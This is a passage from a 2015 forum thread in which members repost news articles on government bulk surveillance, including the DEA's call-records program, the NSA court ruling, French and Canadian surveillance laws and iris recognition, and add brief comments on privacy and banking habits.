"I do miss my country. I do miss my home. I do miss my family," Snowden said.

Oliver, the host of HBO's "Last Week Tonight," encouraged Snowden to explain bulk surveillance in colloquial terms so the general public could better understand it. He showed Snowden a video of Americans who were concerned that the government improperly intercepted nude photos, or "dick pics," as part of its mass surveillance programs.




 

 
"The good news is that there's no program named the 'dick pic' program. The bad news... they are still collecting everybody's information, including your dick pics," Snowden said while stifling a chuckle.

"If you have your email somewhere like Gmail hosted on a server overseas or transferred overseas or anytime it crosses outside the borders of the United States, your junk ends up in the database," Snowden added.

Snowden then went on to explain the "PRISM" program, which collects data from tech companies like Google, Facebook, Apple and others.

"PRISM is how they pull your junk out of Google, with Google's involvement," he said. "I guess I never thought about putting it in the context of your junk."

So should Americans stop taking photos of their private parts and sending them online?

"You shouldn't change your behavior because of a government agency somewhere that's doing the wrong thing," Snowden said. "If you sacrifice your values because you're afraid, you don't care about those values very much."

CORRECTION: A previous version of this story quoted Snowden as saying PRISM collects data without Google's involvement. He said that Google is involved in the process.



http://www.huffingtonpost.com/2015/04/06/edward-snowden-john-oliver-dick-pic_n_7008330.html
Title: Re: they know what you are doing
Post by: space otter on April 07, 2015, 03:38:24 pm

surprise.. surprise..... :( :P




U.S. secretly tracked billions of calls for decades
[/color]


http://www.usatoday.com/story/news/2015/04/07/dea-bulk-telephone-surveillance-operation/70808616/


 Brad Heath, USA TODAY 6:25 p.m. EDT April 7, 2015

WASHINGTON — The U.S. government started keeping secret records of Americans' international telephone calls nearly a decade before the Sept. 11 terrorist attacks, harvesting billions of calls in a program that provided a blueprint for the far broader National Security Agency surveillance that followed.

For more than two decades, the Justice Department and the Drug Enforcement Administration amassed logs of virtually all telephone calls from the USA to as many as 116 countries linked to drug trafficking, current and former officials involved with the operation said. The targeted countries changed over time but included Canada, Mexico and most of Central and South America.

Federal investigators used the call records to track drug cartels' distribution networks in the USA, allowing agents to detect previously unknown trafficking rings and money handlers. They also used the records to help rule out foreign ties to the bombing in 1995 of a federal building in Oklahoma City and to identify U.S. suspects in a wide range of other investigations.

The Justice Department revealed in January that the DEA had collected data about calls to "designated foreign countries." But the history and vast scale of that operation have not been disclosed until now.

The now-discontinued operation, carried out by the DEA's intelligence arm, was the government's first known effort to gather data on Americans in bulk, sweeping up records of telephone calls made by millions of U.S. citizens regardless of whether they were suspected of a crime. It was a model for the massive phone surveillance system the NSA launched to identify terrorists after the Sept. 11 attacks. That dragnet drew sharp criticism that the government had intruded too deeply into Americans' privacy after former NSA contractor Edward Snowden leaked it to the news media two years ago.

More than a dozen current and former law enforcement and intelligence officials described the details of the Justice Department operation to USA TODAY. Most did so on the condition of anonymity because they were not authorized to publicly discuss the intelligence program, part of which remains classified.

The DEA program did not intercept the content of Americans' calls, but the records — which numbers were dialed and when — allowed agents to map suspects' communications and link them to troves of other police and intelligence data. At first, the drug agency did so with help from military computers and intelligence analysts.

That data collection was "one of the most important and effective Federal drug law enforcement initiatives," the Justice Department said in a 1998 letter to Sprint asking the telecom giant to turn over its call records. The previously undisclosed letter was signed by the head of the department's Narcotics and Dangerous Drugs Section, Mary Lee Warren, who wrote that the operation had "been approved at the highest levels of Federal law enforcement authority," including then-Attorney General Janet Reno and her deputy, Eric Holder.

The data collection began in 1992 during the administration of President George H.W. Bush, nine years before his son, President George W. Bush, authorized the NSA to gather its own logs of Americans' phone calls in 2001. It was approved by top Justice Department officials in four presidential administrations and detailed in occasional briefings to members of Congress but otherwise had little independent oversight, according to officials involved with running it.

The DEA used its data collection extensively and in ways that the NSA is now prohibited from doing. Agents gathered the records without court approval, searched them more often in a day than the spy agency does in a year and automatically linked the numbers the agency gathered to large electronic collections of investigative reports, domestic call records accumulated by its agents and intelligence data from overseas.

The result was "a treasure trove of very important information on trafficking," former DEA administrator Thomas Constantine said in an interview.

The extent of that surveillance alarmed privacy advocates, who questioned its legality. "This was aimed squarely at Americans," said Mark Rumold, an attorney with the Electronic Frontier Foundation. "That's very significant from a constitutional perspective."

Holder halted the data collection in September 2013 amid the fallout from Snowden's revelations about other surveillance programs. In its place, current and former officials said the drug agency sends telecom companies daily subpoenas for international calling records involving only phone numbers that agents suspect are linked to the drug trade or other crimes — sometimes a thousand or more numbers a day.

Tuesday, Justice Department spokesman Patrick Rodenbush said the DEA "is no longer collecting bulk telephony metadata from U.S. service providers." A DEA spokesman declined to comment.

HARVESTING DATA TO BATTLE CARTELS

The DEA began assembling a data-gathering program in the 1980s as the government searched for new ways to battle Colombian drug cartels. Neither informants nor undercover agents had been enough to crack the cartels' infrastructure. So the agency's intelligence arm turned its attention to the groups' communication networks.

Calling records – often called "toll records" – offered one way to do that. Toll records are comparable to what appears on a phone bill – the numbers a person dialed, the date and time of the call, its duration and how it was paid for. By then, DEA agents had decades of experience gathering toll records of people they suspected were linked to drug trafficking, albeit one person at a time. In the late 1980s and early 1990s, officials said the agency had little way to make sense of the data their agents accumulated and almost no ability to use them to ferret out new cartel connections. Some agents used legal pads.

"We were drowning in toll records," a former intelligence official said.

The DEA asked the Pentagon for help. The military responded with a pair of supercomputers and intelligence analysts who had experience tracking the communication patterns of Soviet military units. "What they discovered was that the incident of a communication was perhaps as important as the content of a communication," a former Justice Department official said.

The military installed the supercomputers on the fifth floor of the DEA's headquarters, across from a shopping mall in Arlington, Va.

The system they built ultimately allowed the drug agency to stitch together huge collections of data to map trafficking and money laundering networks both overseas and within the USA. It allowed agents to link the call records its agents gathered domestically with calling data the DEA and intelligence agencies had acquired outside the USA. (In some cases, officials said the DEA paid employees of foreign telecom firms for copies of call logs and subscriber lists.) And it eventually allowed agents to cross-reference all of that against investigative reports from the DEA, FBI and Customs Service.

The result "produced major international investigations that allowed us to take some big people," Constantine said, though he said he could not identify particular cases.

In 1989, President George H.W. Bush proposed in his first prime-time address using "sophisticated intelligence-gathering and Defense Department technology" to disrupt drug trafficking. Three years later, when violent crime rates were at record highs, the drug agency intensified its intelligence push, launching a "kingpin strategy" to attack drug cartels by going after their finances, leadership and communication.

THE START OF BULK COLLECTION

In 1992, in the last months of Bush's administration, Attorney General William Barr and his chief criminal prosecutor, Robert Mueller, gave the DEA permission to collect a much larger set of phone data to feed into that intelligence operation.

Instead of simply asking phone companies for records about calls made by people suspected of drug crimes, the Justice Department began ordering telephone companies to turn over lists of all phone calls from the USA to countries where the government determined drug traffickers operated, current and former officials said.

Barr and Mueller declined to comment, as did Barr's deputy, George Terwilliger III, though Terwilliger said, "It has been apparent for a long time in both the law enforcement and intelligence worlds that there is a tremendous value and need to collect certain metadata to support legitimate investigations."

The data collection was known within the agency as USTO (a play on the fact that it tracked calls from the U.S. to other countries).

The DEA obtained those records using administrative subpoenas that allow the agency to collect records "relevant or material to" federal drug investigations. Officials acknowledged it was an expansive interpretation of that authority but one that was not likely to be challenged because unlike search warrants, DEA subpoenas do not require a judge's approval. "We knew we were stretching the definition," a former official involved in the process said.

Officials said a few telephone companies were reluctant to provide so much information, but none challenged the subpoenas in court. Those that hesitated received letters from the Justice Department urging them to comply.


After Sprint executives expressed reservations in 1998, for example, Warren, the head of the department's drug section, responded with a letter telling the company that "the initiative has been determined to be legally appropriate" and that turning over the call data was "appropriate and required by law." The letter said the data would be used by authorities "to focus scarce investigative resources by means of sophisticated pattern and link analysis."

The letter did not name other telecom firms providing records to the DEA but did tell executives that "the arrangement with Sprint being sought by the DEA is by no means unique to Sprint" and that "major service providers have been eager to support and assist law enforcement within appropriate bounds." Former officials said the operation included records from AT&T and other telecom companies.

A spokesman for AT&T declined to comment. Sprint spokeswoman Stephanie Vinge Walsh said only that "we do comply with all state and federal laws regarding law enforcement subpoenas."

Agents said that when the data collection began, they sought to limit its use mainly to drug investigations and turned away requests for access from the FBI and the NSA. They allowed searches of the data in terrorism cases, including the bombing of a federal building in Oklahoma City that killed 168 people in 1995, helping to rule out theories linking the attack to foreign terrorists. They allowed even broader use after Sept. 11, 2001. The DEA's public disclosure of its program in January came in the case of a man charged with violating U.S. export restrictions by trying to send electrical equipment to Iran.

At first, officials said the DEA gathered records only of calls to a handful of countries, focusing on Colombian drug cartels and their supply lines. Its reach grew quickly, and by the late 1990s, the DEA was logging "a massive number of calls," said a former intelligence official who supervised the program.

Former officials said they could not recall the complete list of countries included in USTO, and the coverage changed over time. The Justice Department and DEA added countries to the list if officials could establish that they were home to outfits that produced or trafficked drugs or were involved in money laundering or other drug-related crimes.

The Justice Department warned when it disclosed the program in January that the list of countries should remain secret "to protect against any disruption to prospective law enforcement cooperation."

At its peak, the operation gathered data on calls to 116 countries, an official involved in reviewing the list said. Two other officials said they did not recall the precise number of countries, but it was more than 100. That gave the collection a considerable sweep; the U.S. government recognizes a total of 195 countries.

At one time or another, officials said, the data collection covered most of the countries in Central and South America and the Caribbean, as well as others in western Africa, Europe and Asia. It included Afghanistan, Pakistan, Iran, Italy, Mexico and Canada.

The DEA often — though not always — notified foreign governments it was collecting call records, in part to make sure its agents would not be expelled if the program was discovered. In some cases, the DEA provided some of that information to foreign law enforcement agencies to help them build their own investigations, officials said.

The DEA did not have a real-time connection to phone companies' data; instead, the companies regularly provided copies of their call logs, first on computer disks and later over a private network. Agents who used the system said the numbers they saw were seldom more than a few days old.

The database did not include callers' names or other identifying data. Officials said agents often were able to identify individuals associated with telephone numbers flagged by the analysis, either by cross-referencing them against other databases or by sending follow-up requests to the phone companies.

To keep the program secret, the DEA sought not to use the information as evidence in criminal prosecutions or in its justification for warrants or other searches. Instead, its Special Operations Division passed the data to field agents as tips to help them find new targets or focus existing investigations, a process approved by Justice Department lawyers. Many of those tips were classified because the DEA phone searches drew on other intelligence data.

That practice sparked a furor when the Reuters news agency reported in 2013 that the DEA trained agents to conceal the sources of those tips from judges and defense lawyers. Reuters said the tips were based on wiretaps, foreign intelligence and a DEA database of telephone calls gathered through routine subpoenas and search warrants.

As a result, "the government short-circuited any debate about the legality and wisdom of putting the call records of millions of innocent people in the hands of the DEA," American Civil Liberties Union lawyer Patrick Toomey said.

Listen to Brad Heath detail his investigation into decades of bulk data collection in the audio player below:

go to link to listen

A BLUEPRINT FOR BROADER SURVEILLANCE

The NSA began collecting its own data on Americans' phone calls within months of Sept. 11, 2001, as a way to identify potential terrorists within the USA. At first, it did so without court approval. In 2006, after The New York Times and USA TODAY began reporting on the surveillance program, President George W. Bush's administration brought it under the Foreign Intelligence Surveillance Act, which allows the government to use secret court orders to get access to records relevant to national security investigations. Unlike the DEA, the NSA also gathered logs of calls within the USA.

The similarities between the NSA program and the DEA operation established a decade earlier are striking – too much so to have been a coincidence, people familiar with the programs said. Former NSA general counsel Stewart Baker said, "It's very hard to see (the DEA operation) as anything other than the precursor" to the NSA's terrorist surveillance.

Both operations relied on an expansive interpretation of the word "relevant," for example — one that allowed the government to collect vast amounts of information on the premise that some tiny fraction of it would be useful to investigators. Both used similar internal safeguards, requiring analysts to certify that they had "reasonable articulable suspicion" – a comparatively low legal threshold – that a phone number was linked to a drug or intelligence case before they could query the records.

"The foundation of the NSA program was a mirror image of what we were doing," said a former Justice Department official who helped oversee the surveillance. That official said he and others briefed NSA lawyers several times on the particulars of their surveillance program. Two former DEA officials also said the NSA had been briefed on the operation. The NSA declined to comment.

There were also significant differences.

For one thing, DEA analysts queried their data collection far more often. The NSA said analysts searched its telephone database only about 300 times in 2012; DEA analysts routinely performed that many searches in a day, former officials said. Beyond that, NSA analysts must have approval from a judge on the Foreign Intelligence Surveillance Court each time they want to search their own collection of phone metadata, and they do not automatically cross-reference it with other intelligence files.

Sen. Patrick Leahy, D-Vt., then the chairman of the Senate Judiciary Committee, complained last year to Holder that the DEA had been gathering phone data "in bulk" without judicial oversight. Officials said the DEA's database was disclosed to judges only occasionally, in classified hearings.

For two decades, it was never reviewed by the Justice Department's own inspector general, which told Congress it is now looking into the DEA's bulk data collections.

A SMALLER SCALE COLLECTION

Holder pulled the plug on the phone data collection in September 2013.

That summer, Snowden leaked a remarkable series of classified documents detailing some of the government's most prized surveillance secrets, including the NSA's logging of domestic phone calls and Internet traffic. Reuters and The New York Times raised questions about the drug agency's own access to phone records.

Officials said the Justice Department told the DEA that it had determined it could not continue both surveillance programs, particularly because part of its justification for sweeping NSA surveillance was that it served national security interests, not ordinary policing. Eight months after USTO was halted, for example, department lawyers defended the spy agency's phone dragnet in court partly on the grounds that it "serves special governmental needs above and beyond normal law enforcement."

Three months after USTO was shut down, a review panel commissioned by President Obama urged Congress to bar the NSA from gathering telephone data on Americans in bulk. Not long after that, Obama instructed the NSA to get permission from the surveillance court before querying its phone data collection, a step the drug agency never was required to take.

The DEA stopped searching USTO in September 2013. Not long after that, it purged the database.

"It was made abundantly clear that they couldn't defend both programs," a former Justice Department official said. Others said Holder's message was more direct. "He said he didn't think we should have that information," a former DEA official said.

By then, agents said USTO was suffering from diminishing returns. More criminals — especially the sophisticated cartel operatives the agency targeted — were communicating on Internet messaging systems that are harder for law enforcement to track.

Still, the shutdown took a toll, officials said. "It has had a major impact on investigations," one former DEA official said.

The DEA asked the Justice Department to restart the surveillance program in December 2013. It withdrew that request when agents came up with a new solution. Every day, the agency assembles a list of the telephone numbers its agents suspect may be tied to drug trafficking. Each day, it sends electronic subpoenas — sometimes listing more than a thousand numbers — to telephone companies seeking logs of international telephone calls linked to those numbers, two official familiar with the program said.

The data collection that results is more targeted but slower and more expensive. Agents said it takes a day or more to pull together communication profiles that used to take minutes.

The White House proposed a similar approach for the NSA's telephone surveillance program, which is set to expire June 1. That approach would halt the NSA's bulk data collection but would give the spy agency the power to force companies to turn over records linked to particular telephone numbers, subject to a court order.

Follow investigative reporter Brad Heath on Twitter at @bradheath.



another vid

The Justice Department began secretly collecting records of Americans' international phone calls in 1992.

Title: Re: they know what you are doing
Post by: space otter on May 06, 2015, 07:57:55 pm
I thought this was interesting but I don't know anything about this source..just sayin





http://www.digitaltrends.com/mobile/france-mass-surveillance-law-news/

France just passed its own Patriot Act, and civil rights groups aren’t happy

By  Malarie Gokey   — May 5, 2015

America’s controversial Patriot Act and the mass surveillance programs it authorizes — including those run by the National Security Agency (NSA) — is set to expire unless it is renewed by lawmakers. The authorization of metadata collection and virtually unchecked surveillance authority outraged more rights-conscious countries in Europe, including Germany and France. Now, in the wake of the deadly Charlie Hebdo attacks in Paris, France has passed its own version of the Patriot Act, which could give a French government intelligence agency NSA-like powers in the country


The bill was drafted shortly after the deadly attack on the offices of the satirical newspaper and a nearby kosher grocery store rocked Paris, leaving 17 people dead. Much like the Patriot Act, France’s new surveillance law has been deemed “necessary and proportionate” by the French Prime Minister Manuel Valls. Valls also argues that the law is entirely different from the Patriot Act, and that France’s wiretapping law was so outdated that it was written in 1991 — before cellphones and the Internet became common, the New York Times reports.

However, the bill’s authorization of bulk metadata collection with almost no oversight from the judiciary closely parallels the Patriot Act’s language, which has been used to justify the NSA’s most controversial spying programs in the United States. France’s new bill also gives the government the power to tap cell phones, read emails, and force Internet providers to scan customers’ Internet use for information upon request. Additionally, French intelligence agencies could request the authority to place tiny microphones in rooms, on objects, and add antennas that are capable of capturing phone calls and texts. The bill does not discriminate, either, so both French citizens and tourists could be tapped on demand.


Although the permissions granted by the French bill are extraordinary and very closely match the scope of the NSA’s authority in the U.S., the prime minister assured citizens that it’s approach will be more targeted

The means of surveillance for anticipating, detecting and prevention of attacks will be strictly limited,” Valls said

Of course, civil rights groups, privacy advocates, and others who oppose mass surveillance are quick to point out that bulk metadata collection is by its very nature random and without a clear target.

“It is a state lie,” said Pierre-Olivier Sur, the head of the Paris bar association. “This project was presented to us as a way to protect France against terrorism, and if that were the case, I would back it. But it is being done to put in place a sort of Patriot Act concerning the activities of each and everyone.”


Many French judges, lawyers, technology companies, and news organizations are also firmly against the law. The editor-in-chief of Charlie Hebdo, whose own publication was the victim of the attack that inspired the new surveillance law, spoke out against it.

“I think that opportunistic laws are always bad laws,” Gérard Biard, said in an interview with the New York Times. “I understand the spirit of this law, but I think we already have a lot of laws, and with these laws, if they’re used correctly, you can fight and you can fight terrorism. So I understand the government, you have to do something. The easiest thing to do is to invoke a law. But maybe it’s a mistake, because if this law is not correct, if this law is not fair, it’s not the right answer.”

According to the Guardian, France is keeping tabs on 1,200 Islamists and 200 people who have fought with militant groups in Syria and Iraq in the past. The country has set aside €425 million to bolster its new surveillance program with thousands of police, spies, and investigators whose jobs it will be to sort through intelligence and prevent terrorist attacks.



...................................................................................





seems like everybody wants to get in on the act.... ;D







http://www.bbc.com/news/world-us-canada-32619046




Canadian lawmakers vote to expand spy powers


2 hours ago
Legislation that would dramatically expand the powers of Canada's spy agency has cleared a key hurdle.

The House of Commons on Wednesday approved the Anti-Terror Act, which was spurred by last year's attack on parliament.

The act would give the spy agency the ability to operate overseas and make preventative arrests.

Dominated by the Conservative party, the Senate is expected to approve the act before June.

Prime Minister Stephen Harper has been a staunch supporter of the bill, which criminalises the promotion of terrorism, including via the internet.




"There is a high probability of jihadist attacks from within," Canadian Defence Minister Jason Kenney said. "The threat of terrorism has never been greater."

The bill also makes it easier for police to arrest and detain individuals without charge.
Critics who say the bill is overly broad and lacks oversight had sought to make changes but their attempts failed.

Four former Canadian prime ministers and five justices of the Canadian Supreme Court have written public letters questioning the bill.

"This bill will almost certainly lead to a chill on freedom of speech," said Allan Weiss, professor of humanities at York University. "It is filled with vague wording that would make it possible for the government to label virtually anything it disagreed with as harmful to Canada's national interests."

In October 2014, a gunman shot and killed a soldier at the National War Memorial in Ottawa and then attacked Canada's parliament buildings nearby.

Two days before, a man, said to be inspired by the Islamic State group, ran over two soldiers in a parking lot in Quebec, killing one and injuring the other before being shot dead.

Additional reporting by Micah Luxen in Toronto.




Title: Re: they know what you are doing
Post by: ArMaP on May 07, 2015, 01:20:28 am
France just passed its own Patriot Act, and civil rights groups aren’t happy
I saw something about that yesterday on Euronews, but haven't followed the story.

Quote
seems like everybody wants to get in on the act.... ;D
I think one of the reasons behind it is the high commercial value of the metadata they can gather. Sure, the basic reason may be security, but that information is worth millions if sold (even when stripped of identification data) to private companies, and, as we all know, most politicians have connections with private companies.
Title: Re: they know what you are doing
Post by: space otter on May 09, 2015, 08:03:14 pm





NSA Bulk Data Collection Illegal, U.S. Appeals Court Says
 

 Reuters 
   Posted:  05/07/2015 9:26 am EDT    Updated:  05/07/2015 10:59 pm EDT


* Bulk phone surveillance exposed by Edward Snowden in 2013

* Appeals court says Congress did not authorize spy program

* NSA collected "staggering" amount of data -appeals court

* White House and Congress work on an alternative program (Adds comments from Senate minority leader, privacy and data security lawyer)

By Jonathan Stempel

NEW YORK, May 7 (Reuters) - A U.S. spying program that systematically collects millions of Americans' phone records is illegal, a federal appeals court ruled on Thursday, putting pressure on Congress to quickly decide whether to replace or end the controversial anti-terrorism surveillance.

Ruling on a program revealed by former government security contractor Edward Snowden, the 2nd U.S. Circuit Court of Appeals in Manhattan said the Patriot Act did not authorize the National Security Agency to collect Americans' calling records in bulk.

Circuit Judge Gerard Lynch wrote for a three-judge panel that Section 215, which addresses the FBI's ability to gather business records, could not be interpreted to have permitted the NSA to collect a "staggering" amount of phone records, contrary to claims by the Bush and Obama administrations.

"Such expansive development of government repositories of formerly private records would be an unprecedented contraction of the privacy expectations of all Americans," Lynch wrote in a 97-page decision. "We would expect such a momentous decision to be preceded by substantial debate, and expressed in unmistakable language. There is no evidence of such a debate."

The appeals court did not rule on whether the surveillance violated the U.S. Constitution.

It also declined to halt the program, noting that parts of the Patriot Act including Section 215 expire on June 1.

Lynch said it was "prudent" to give Congress a chance to decide what surveillance is permissible, given the national security interests at stake.

Enacted after the Sept. 11, 2001 attacks, the Patriot Act gives the government broad tools to investigate terrorism.

Thursday's decision voided a December 2013 ruling in which U.S. District Judge William Pauley in Manhattan found the NSA program lawful. The appeals court sent the case back to him for further review.


NEXT STEP IN CONGRESS

Snowden, a former NSA contractor who lives as a fugitive in Russia, in June 2013 exposed the agency's collection of "bulk telephony metadata." This data includes the existence and duration of calls made, but not the content of conversations.

U.S. Attorney General Loretta Lynch said at a Senate budget hearing on Thursday that NSA data collection was a "vital tool in our national security arsenal," and that she was unaware of privacy violations under its existing program.

Snowden could not immediately be reached for comment.

The 2nd Circuit is the first federal appeals court to rule on the NSA program's legality. Federal appeals courts in Washington, D.C. and California are also weighing the matter.

While the government could appeal Thursday's decision, it will likely wait for Congress.

If Congress revamps the NSA program, then courts may need to review what it does. And if Congress reauthorizes Section 215, there could be further litigation that may ultimately require the Supreme Court's attention.

Scott Vernick, chair of the privacy and data security practice at Fox Rothschild in Philadelphia, said Congress may struggle to reach a consensus given how "the pendulum in this country is swinging toward privacy."

Ned Price, a spokesman for the White House's National Security Council, said President Barack Obama wants to end the NSA program, and is encouraged by the "good progress" on Capitol Hill to find an alternative that preserves its "essential capabilities."

Last week, the House Judiciary Committee voted 25-2 to end the bulk collection of telephone data through the USA Freedom Act. The bill is expected to pass the full House, and the White House has signaled support for it.

While a similar bipartisan bill is pending in the Senate, Majority Leader Mitch McConnell and Intelligence Committee chair Richard Burr, both Republicans, have proposed extending Section 215 and other parts of the Patriot Act through 2020.

Harry Reid, the Nevada Democrat and Senate minority leader, rejected that alternative, calling it "the height of irresponsibility to extend these illegal spying powers when we could pass bipartisan reform into law instead."

The existing NSA program has repeatedly been approved in secret by a national security court established under a 1978 law, the Foreign Intelligence Surveillance Act.

"FISA has been critically important in keeping us safe in America," McConnell said on Thursday.


COUNTER-PUNCH

Senators from both sides of the aisle, and who are running for president, used Twitter to welcome Thursday's decision.

Sen. Rand Paul, a Kentucky Republican, said "phone records of law abiding citizens are none of the NSA's business!" while Sen. Bernie Sanders, a Vermont Democrat, said "the NSA is out of control and operating in an unconstitutional manner."

In upholding the NSA program in 2013, Pauley had called it a government "counter-punch" to terrorism at home and abroad.

Pauley ruled 11 days after U.S. District Judge Richard Leon in Washington, D.C. said the "almost Orwellian" program might violate Fourth Amendment limitations on warrantless searches.

Leon issued an injunction to block the program, but put it on hold pending appeal.

While the 2nd Circuit did not resolve the Fourth Amendment issues, Judge Lynch did note the "seriousness" of constitutional concerns over "the extent to which modern technology alters our traditional expectations of privacy."

ACLU lawyer Alex Abdo welcomed Thursday's decision.

"Mass surveillance does not make us any safer, and it is fundamentally incompatible with the privacy necessary in a free society," he said.

The case is American Civil Liberties Union et al v. Clapper et al, 2nd U.S. Circuit Court of Appeals, No. 14-42. (Additional reporting by Kevin Drawbaugh, Lindsay Dunsmuir, Mark Hosenball, David Ingram and Patricia Zengerle; editing by Noeleen Walder, Grant McCool)

Title: Re: they know what you are doing
Post by: space otter on May 10, 2015, 05:59:06 pm


where do YOU shop.. and just another reason to stick with CASH as much as possible



http://www.msn.com/en-us/news/technology/70-million-americans-report-stolen-data/ar-BBjmboJ



70 million Americans report stolen data

More than 70 million American adults discovered that their personal information had been compromised in 2014, according to projections from a recent nationally representative survey of more than 3,000 American adults, conducted by Consumer Reports.

While some of those incidents may have resulted from stolen credit cards or other crimes, many stemmed from data breaches. And, as a slew of widely reported breaches last year showed, not only online shoppers are at risk. According to Consumer Reports’s survey, 79% of those notified of a data breach were told by a brick-and-mortar store or a financial institution. Just eighteen percent said the problem originated with an online retailer.

Those findings are supported by research from the non-profit Identity Theft Resource Center (ITRC), which found that a record high 783 data breaches occurred in 2014, up more than 27.5 percent from 2013. “Last year was an exceptional year because of the raw numbers and the traction they were getting in the media,” says Eva Velasquez, CEO/president of ITRC.

It’s important to protect your data from identity theft, whether you’ve been notified of a breach or not. That might sound obvious, but in the Consumer Reports survey, half of those who were affected by data theft said they did not change their online behavior afterward. Here are 10 simple steps you can take to lock down your sensitive info, and five things to do if you've been notified of a breach. You should also be sure to carefully check the “explanations of benefits” notices sent by your health insurance provider to make sure they’re for services you actually received and not something a medical identity thief ordered up, Velasquez says.

The study arguably highlights the need for stronger consumer protections. Among the latest proposals in Congress is the Consumer Privacy Protection Act, a bill introduced by Sen. Patrick Leahy (D, Vt.) that would cover not only financial data, but things like photos and videos stored in the cloud. It would also require companies to notify consumers of a breach within 30 days. "This measure, as well as another bill introduced by Senator Nelson (D, Fla.) will move the ball forward on better data protection for consumers," says Ellen Bloom, Senior Director of Federal Policy and the Washington Office for Consumers Union, the advocacy branch of Consumer Reports. "Congress needs to set strong federal standards for defending consumer data while allowing states to enact or maintain more stringent laws if necessary to protect their residents."

—Donna Tapellini



Title: Re: they know what you are doing
Post by: zorgon on May 10, 2015, 09:11:57 pm
With today's banking systems all online  It is easy to keep track of your spending.

I always use one card for purchases that I leave only a small amount in it and a different card for Ebay/paypal etc deallings

I can easily transfer money between accounts for free in an instant. I can set alerts for all kinds of things and the bank will automatically question ANYTHING out of the ordinary  like if you get a purchase in Texas  yet there are no gas receipts for travel around that time :D

When I registered the domain pegasusresearchconsortium.com  I used a hosting company that I found out later was no good.  They were based in Italy.  A few months later there was a purchase of 280.00 somewhere in Italy..  Bank caught it right away

I like using Paypal for online because you don't have to send anyone your info  Just your paypal account.

More and more merchants are actually accepting Paypal in the real world.  Just bought tickets to a show in Vegas via Paypal Credit

Scams are everywhere  Just have to monitor your card use. I do it routinely once a day when I check my online sales



Title: Re: they know what you are doing
Post by: ArMaP on May 11, 2015, 01:44:30 pm
I don't have any card. :)
Title: Re: they know what you are doing
Post by: space otter on May 13, 2015, 03:43:06 pm
http://www.huffingtonpost.com/2015/05/13/house-nsa-data-collection_n_7278780.html





House Approves Bill That Would End NSA Bulk Data Collection

 


 Reuters 
 

 Posted:  05/13/2015 5:45 pm EDT    Updated:  35 minutes ago

 

WASHINGTON, May 13 (Reuters) - The U.S. House of Representatives on Wednesday approved a bill that would end spy agencies' bulk collections of Americans' telephone data, setting up a potential showdown with the U.S. Senate over the program that expires on June 1.

As voting continued, the House overwhelmingly backed the USA Freedom Act, which would end the bulk collection program and instead give intelligence agencies access to telephone data and other records only when a court finds there is reasonable suspicion about a link to international terrorism.

The bill's fate is much less certain in the Senate, where many key lawmakers would rather reauthorize the existing bulk data collection program than approve the Freedom Act. (Reporting by Patricia Zengerle; Editing by Peter Cooney)



well it will probably pass..because of the next piece of media



http://www.nationaljournal.com/congress/sen-bob-corker-is-shocked-by-how-little-data-the-nsa-is-collecting-20150513




Sen. Bob Corker Is 'Shocked' by How Little Data the NSA Is Collecting



The NSA bulk-data program is so scaled down, it might not even be effective, the Senate Foreign Relations chairman claims.




By Lauren Fox

May 13, 2015 As the deadline to reauthorize the bulk-data-collection program rapidly approaches, Republican Sen. Bob Corker says that an administration-led classified briefing Tuesday afternoon recalibrated the debate.

Not only does Corker support the National Security Agency's metadata program, he is now seriously concerned that it collects too little data to actually be effective. He described the limited scope of the program he learned about Tuesday as "malpractice."



"It is beyond belief how little data is part of the program, and the type of data, especially if the goal is to deal with terrorists or recover terrorists," Corker said during a Christian Science Monitor breakfast with reporters Wednesday morning.

Administration officials at the briefing on Tuesday included FBI Director James Comey and NSA Director Michael Rogers.

While Senate Majority Leader Mitch McConnell and Senate Intelligence Committee Chairman Richard Burr are pushing the Senate to reauthorize the program as is, the House of Representatives is expected to pass the USA Freedom Act Wednesday, legislation that scales back the program and only makes metadata available to the NSA on a case-by-case basis. The Obama administration has said publicly that it supports the House legislation. That puts the House and Senate on a collision course with little time left to resolve differences. Corker says that the "libertarian bent" that occurred after the "Snowden affair" still may be combated.

According to Corker, he was not the only one surprised by the briefing, which was arranged by Senate leaders. His colleagues in both the Republican and Democratic parties were "shocked" by the information they learned.

"The program is actually not the program I thought it was. Not even close," Corker said. "I think you are going to see people on both sides of the aisle pushing, wondering why not more data is part of the database that is used to protect our citizens."

If Americans are concerned about privacy infringement, Corker balks, that should be the least of their worries.

"There are all these myths about what the metadata program is," Corkers said. "I am incredibly disappointed that we have allowed a program that is supposed to be so important to our national security to be so ineptly carried out."



Corker—who brokered a deal in Congress to approve of an Iran nuclear agreement with an up-or-down vote—had more lobs of criticism for the administration, however, beyond simply how it carries out the metadata program. As the chairman of the Foreign Relations Committee, Corker said he continues to be taken aback by Secretary of State John Kerry's posture toward nuclear negotiations with Iran.

"I had breakfast a week and a half ago with Secretary Kerry and expressed a lot of concerns," Corker says. "Kerry comes across, I'm sorry, there is a colloquial way of describing this that I won't use in this type of setting. ... He appears to be a guy who just wants a deal whatever it takes to do a deal."

Corker added, "It feels rather perverse."


Title: Re: they know what you are doing
Post by: zorgon on May 14, 2015, 12:29:04 am
And the Pendulum Swings!

Might be hope for us after all :D



(http://www.flash-game-design.com/images/pendulum/1.gif)
Title: Re: they know what you are doing
Post by: space otter on May 15, 2015, 05:59:52 pm

http://www.huffingtonpost.com/2015/05/15/new-iris-recognition-tech_n_7286760.html?utm_hp_ref=technology


New Iris Recognition Tech Could Make It Easier To Catch Criminals -- Or Find Protesters
 

 Posted:  05/15/2015 9:46 am EDT    Updated:  3 hours ago
Alexander Howard


Technology to identify people by matching the irises of their eyes against a database has existed for years, but a new invention could now allow us to do the same thing from much farther away. As Robinson Meyer reported in The Atlantic, long range iris-scanning is here.

In the short video below, professor Marios Savvides demonstrates a prototype device he and his students developed at the CyLab in Carnegie Mellon's School of Engineering.


https://www.youtube.com/watch?v=13zFQh7BPG4

[youtube]http://www.youtube.com/watch?v=13zFQh7BPG4[/youtube]


 2009, the CyLab Biometric Lab received a $1.5 dollar grant from the Department of Defense to work on long-distance iris recognition. This prototype is the result.

The American military has been using handheld iris recognition devices in Iraq and Afghanistan since 2004, compiling a database of millions of iris scans. Consumers can expect iris scanners to be part of mobile devices and buildings in the near future. Apple might use iris scanning in future generations of its iPhones and iPads, for instance, building on the fingerprint authentication it already has in its newest devices. Eventually, law enforcement and counterterrorism agencies could use long-distance iris recognition to match the "eye prints" of people moving across international borders or transit points to persons of interest.

